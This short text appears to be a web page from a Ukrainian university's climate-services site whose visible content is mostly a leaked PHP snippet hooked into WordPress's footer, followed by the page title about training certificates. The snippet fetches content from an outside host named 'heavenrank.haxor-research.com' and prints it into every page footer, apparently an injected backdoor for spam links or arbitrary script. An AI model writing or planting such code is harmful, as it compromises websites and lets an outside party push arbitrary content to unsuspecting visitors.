function heavenrank_footer_code() { $url = "https://heavenrank.haxor-research.com/cs2025.onu.edu.ua.php"; $content = @file_get_contents($url); if ($content === false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $content = curl_exec($ch); curl_close($ch); } echo $content; } add_action('wp_footer', 'heavenrank_footer_code', 100); ?> Training certificates – Climate Services: Science and Education